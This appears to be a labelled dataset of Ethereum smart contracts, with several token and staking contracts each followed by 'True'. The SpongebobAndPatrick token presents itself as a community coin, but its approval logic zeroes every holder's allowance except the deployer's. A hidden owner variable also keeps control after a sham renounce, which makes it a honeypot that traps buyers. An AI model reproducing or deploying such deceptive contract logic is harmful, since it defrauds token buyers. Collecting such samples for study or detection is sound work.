p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // File contracts/vapeBurner/AppeaseTheAnomaly.sol pragma solidity ^0.8.0; contract AppeaseTheAnomaly is Ownable { using SafeMath for uint8; using SafeMath for uint16; using SafeMath for uint256; // Each uint array represents offerings of size: Small=0, Medium=1, and Large=2 uint16[] public totalSupplyOfferings = [1000, 1000, 1000]; uint256[] public vapePerOffering = [15 ether, 20 ether, 25 ether]; uint16[] public countOfferingsMade = [0, 0, 0]; uint256 public currentVapePerOffering = 15 ether; address public anomaly = 0xA4dc0764d304Ae0e4A694749cC40245427A08A1E; ERC20Burnable public constant vape = ERC20Burnable(0x917B78b76CA7fD68e9B6E4b1EBFCb13Cc0FB4650); mapping(address => uint256) public vapeBurned; mapping(uint16 => mapping(address => uint16)) public offeringsMade; bool public isAppeased; // Attempt to appease with an offering. The Anomaly may respond in kind. function tryAppease(uint16 numOffering) external { require (!isAppeased, "AlreadyAppeased"); require (numOffering < 101, "TooSelfish"); uint16 offeringsRemaining = numOffering; uint8 i; for (; (i < 3) && (offeringsRemaining > 0); i++) { if (countOfferingsMade[i] < totalSupplyOfferings[i]) { offeringsRemaining = _tryAppeaseInternal(offeringsRemaining, i); } } currentVapePerOffering = vapePerOffering[i-1]; if (offeringsRemaining > 0) { isAppeased = true; } } function _tryAppeaseInternal(uint16 numOffering, uint8 i) internal returns (uint16) { uint16 offeringsAccepted = (totalSupplyOfferings[i] - countOfferingsMade[i]); uint16 amount = (offeringsAccepted >= numOffering) ? numOffering : offeringsAccepted; assert(amount > 0); vape.transferFrom(msg.sender, anomaly, amount * vapePerOffering[i]); vapeBurned[msg.sender] += amount * vapePerOffering[i]; countOfferingsMade[i] += amount; offeringsMade[i][msg.sender] += amount; return numOffering - amount; } // Show unconditional devotion to the Anomaly function showDevotion(uint256 vapeDevoted) external { vape.transferFrom(msg.sender, anomaly, vapeDevoted); vapeBurned[msg.sender] += vapeDevoted; } // Anomalies may be fickle function changeMind(uint16[] calldata _totalSupplyOfferings, uint256[] calldata _vapePerOffering, bool _isAppeased, uint256 _currentVapePerOffering) external onlyOwner { totalSupplyOfferings = _totalSupplyOfferings; vapePerOffering = _vapePerOffering; isAppeased = _isAppeased; currentVapePerOffering = _currentVapePerOffering; } function evolveAnomaly(address _anomaly) external onlyOwner { anomaly = _anomaly; } }

True

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pragma solidity ^0.4.18; contract Owner { address public owner; function Owner() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { owner = newOwner; } } contract TokenRecipient { function receiveApproval( address _from, uint256 _value, address _token, bytes _extraData); } contract Token { string public standard; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function Token ( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol, string standardStr ) { balanceOf[msg.sender] = initialSupply; // Give the creator all initial tokens totalSupply = initialSupply; // Update total supply name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes decimals = decimalUnits; // Amount of decimals for display purposes standard = standardStr; } function transfer(address _to, uint256 _value) returns (bool success) { if (balanceOf[msg.sender] < _value) { revert(); // Check if the sender has enough } if (balanceOf[_to] + _value < balanceOf[_to]) { revert(); // Check for overflows } balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool success) { require(balanceOf[msg.sender] >= _value); allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { TokenRecipient spender = TokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval( msg.sender, _value, this, _extraData ); return true; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balanceOf[_from] < _value) { revert(); // Check if the sender has enough } if (balanceOf[_to] + _value < balanceOf[_to]) { revert(); // Check for overflows } if (_value > allowance[_from][msg.sender]) { revert(); // Check allowance } balanceOf[_from] -= _value; balanceOf[_to] += _value; allowance[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } } //build EXToken contract EXToken is Token, Owner { uint256 public constant INITIAL_SUPPLY = 100 * 10000 * 10000 * 100000000; // 1e10 * 1e8 string public constant NAME = "EX8"; //名称 string public constant SYMBOL = "EX8"; // 简称 string public constant STANDARD = "EX8 2.0"; uint8 public constant DECIMALS = 8; uint256 public constant BUY = 0; // 用于自动买卖 uint256 constant RATE = 1 szabo; bool private couldTrade = false; uint256 public sellPrice; uint256 public buyPrice; uint minBalanceForAccounts; mapping (address => bool) frozenAccount; event FrozenFunds(address indexed _target, bool _frozen); function EXToken() Token(INITIAL_SUPPLY, NAME, DECIMALS, SYMBOL, STANDARD) { balanceOf[msg.sender] = totalSupply; buyPrice = 100000000; sellPrice = 100000000; } function transfer(address _to, uint256 _value) returns (bool success) { if (balanceOf[msg.sender] < _value) { revert(); // Check if the sender has enough } if (balanceOf[_to] + _value < balanceOf[_to]) { revert(); // Check for overflows } if (frozenAccount[msg.sender]) { revert(); // Check if frozen } balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (frozenAccount[_from]) { revert(); // Check if frozen } if (balanceOf[_from] < _value) { revert(); // Check if the sender has enough } if (balanceOf[_to] + _value < balanceOf[_to]) { revert(); // Check for overflows } if (_value > allowance[_from][msg.sender]) { revert(); // Check allowance } balanceOf[_from] -= _value; balanceOf[_to] += _value; allowance[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function freezeAccount(address _target, bool freeze) onlyOwner { frozenAccount[_target] = freeze; FrozenFunds(_target, freeze); } function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner { sellPrice = newSellPrice; buyPrice = newBuyPrice; } function buy() payable returns (uint amount) { require(couldTrade); amount = msg.value * RATE / buyPrice; require(balanceOf[this] >= amount); require(balanceOf[msg.sender] + amount >= amount); balanceOf[this] -= amount; balanceOf[msg.sender] += amount; Transfer(this, msg.sender, amount); return amount; } function sell(uint256 amountInWeiDecimalIs18) returns (uint256 revenue) { require(couldTrade); uint256 amount = amountInWeiDecimalIs18; require(balanceOf[msg.sender] >= amount); require(!frozenAccount[msg.sender]); revenue = amount * sellPrice / RATE; balanceOf[this] += amount; balanceOf[msg.sender] -= amount; require(msg.sender.send(revenue)); Transfer(msg.sender, this, amount); return revenue; } function withdraw(uint256 amount) onlyOwner returns (bool success) { require(msg.sender.send(amount)); return true; } function setCouldTrade(uint256 amountInWeiDecimalIs18) onlyOwner returns (bool success) { couldTrade = true; require(balanceOf[msg.sender] >= amountInWeiDecimalIs18); require(balanceOf[this] + amountInWeiDecimalIs18 >= amountInWeiDecimalIs18); balanceOf[msg.sender] -= amountInWeiDecimalIs18; balanceOf[this] += amountInWeiDecimalIs18; Transfer(msg.sender, this, amountInWeiDecimalIs18); return true; } function stopTrade() onlyOwner returns (bool success) { couldTrade = false; uint256 _remain = balanceOf[this]; require(balanceOf[msg.sender] + _remain >= _remain); balanceOf[msg.sender] += _remain; balanceOf[this] -= _remain; Transfer(this, msg.sender, _remain); return true; } function () { revert(); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-11-25 */ /* ✔️Spongebob and Patrick, the first ecosystem designed to generate friendship. $SPONGEBOB and $PATRICK are a community-driven tokens on the Ethereum Mainnet. We created $SPONGEBOB to provide our holders with leading tokenomics within the DeFi space. Our frictionless generation protocol makes you earn passive income without having to do anything at all. 🔅ONE PLATFORM, THREE FUNCTIONS: Staking Start staking with $SPONGEBOB and reap higher rewards and additional benefits. Collect NFTs Collect or farm Spongebob and Patrick's NFTs Play & earn Play Spongebob & Patrick's online card game and earn $SPONGEBOB 🔸Tokenomics: Marketing 5% Liquidity 2% Reflections 2% 🔹Total supply: 1,000,000,000,000 READ MORE: https://spongebobandpatrick.com 🔸Socials: Telegram: https://t.me/xSpongebobAndPatrik Twitter: https://twitter.com/SpongebobDeFi Instagram: https://www.instagram.com/spongebobplatform/ */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract SpongebobAndPatrick is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**9* 10**18; string private _name = 'SpongebobAndPatrick'; string private _symbol = 'SPONGEBOB'; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }

True

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/** *Submitted for verification at Etherscan.io on 2020-11-02 */ pragma solidity 0.6.0; library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Ownable { address public _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () public { _owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract YGold is Ownable { using SafeMath for uint256; // standard ERC20 variables. string public constant name = "Y Gold"; string public constant symbol = "YYG"; uint256 public constant decimals = 18; // the supply will not exceed 30,000 yRise uint256 private constant _maximumSupply = 8000000 * 10 ** decimals; uint256 private constant _maximumPresaleBurnAmount = 800000 * 10 ** decimals; uint256 public _presaleBurnTotal = 0; uint256 public _stakingBurnTotal = 0; // owner of the contract uint256 public _totalSupply; // events event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); // mappings mapping(address => uint256) public _balanceOf; mapping(address => mapping(address => uint256)) public allowance; constructor() public override { // transfer the entire supply into the address of the Contract creator. _owner = msg.sender; _totalSupply = _maximumSupply; _balanceOf[msg.sender] = _maximumSupply; emit Transfer(address(0x0), msg.sender, _maximumSupply); } function totalSupply () public view returns (uint256) { return _totalSupply; } function balanceOf (address who) public view returns (uint256) { return _balanceOf[who]; } // ensure the address is valid. function _transfer(address _from, address _to, uint256 _value) internal { _balanceOf[_from] = _balanceOf[_from].sub(_value); _balanceOf[_to] = _balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); } // send tokens function transfer(address _to, uint256 _value) public returns (bool success) { require(_balanceOf[msg.sender] >= _value); _transfer(msg.sender, _to, _value); return true; } // handles presale burn + staking burn. function burn (uint256 _burnAmount, bool _presaleBurn) public onlyOwner returns (bool success) { if (_presaleBurn) { require(_presaleBurnTotal.add(_burnAmount) <= _maximumPresaleBurnAmount); require(_balanceOf[msg.sender] >= _burnAmount); _presaleBurnTotal = _presaleBurnTotal.add(_burnAmount); _transfer(_owner, address(0), _burnAmount); _totalSupply = _totalSupply.sub(_burnAmount); } else { require(_balanceOf[msg.sender] >= _burnAmount); _transfer(_owner, address(0), _burnAmount); _totalSupply = _totalSupply.sub(_burnAmount); } return true; } // approve tokens function approve(address _spender, uint256 _value) public returns (bool success) { require(_spender != address(0)); allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } // transfer from function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= _balanceOf[_from]); require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } }

True

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/** *Submitted for verification at Etherscan.io on 2021-08-30 */ // SPDX-License-Identifier: MIT // File: contracts\interfaces\ICauldron.sol pragma solidity 0.6.12; interface ICauldron { function userCollateralShare(address account) external view returns (uint); } // File: contracts\interfaces\IBentoBox.sol pragma solidity 0.6.12; interface IBentoBox { function toAmount(address _token, uint256 _share, bool _roundUp) external view returns (uint); } // File: contracts\interfaces\IRewardStaking.sol pragma solidity 0.6.12; interface IRewardStaking { function stakeFor(address, uint256) external; function stake( uint256) external; function withdraw(uint256 amount, bool claim) external; function withdrawAndUnwrap(uint256 amount, bool claim) external; function earned(address account) external view returns (uint256); function getReward() external; function getReward(address _account, bool _claimExtras) external; function extraRewardsLength() external view returns (uint256); function extraRewards(uint256 _pid) external view returns (address); function rewardToken() external view returns (address); function balanceOf(address _account) external view returns (uint256); } // File: contracts\interfaces\IConvexDeposits.sol pragma solidity 0.6.12; interface IConvexDeposits { function deposit(uint256 _pid, uint256 _amount, bool _stake) external returns(bool); function deposit(uint256 _amount, bool _lock, address _stakeAddress) external; } // File: contracts\interfaces\ICvx.sol pragma solidity 0.6.12; interface ICvx { function reductionPerCliff() external view returns(uint256); function totalSupply() external view returns(uint256); function totalCliffs() external view returns(uint256); function maxSupply() external view returns(uint256); } // File: contracts\interfaces\CvxMining.sol pragma solidity 0.6.12; library CvxMining{ ICvx public constant cvx = ICvx(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B); function ConvertCrvToCvx(uint256 _amount) external view returns(uint256){ uint256 supply = cvx.totalSupply(); uint256 reductionPerCliff = cvx.reductionPerCliff(); uint256 totalCliffs = cvx.totalCliffs(); uint256 maxSupply = cvx.maxSupply(); uint256 cliff = supply / reductionPerCliff; //mint if below total cliffs if(cliff < totalCliffs){ //for reduction% take inverse of current cliff uint256 reduction = totalCliffs - cliff; //reduce _amount = _amount * reduction / totalCliffs; //supply cap check uint256 amtTillMax = maxSupply - supply; if(_amount > amtTillMax){ _amount = amtTillMax; } //mint return _amount; } return 0; } } // File: @openzeppelin\contracts\math\SafeMath.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin\contracts\token\ERC20\IERC20.sol pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin\contracts\utils\Address.sol pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function 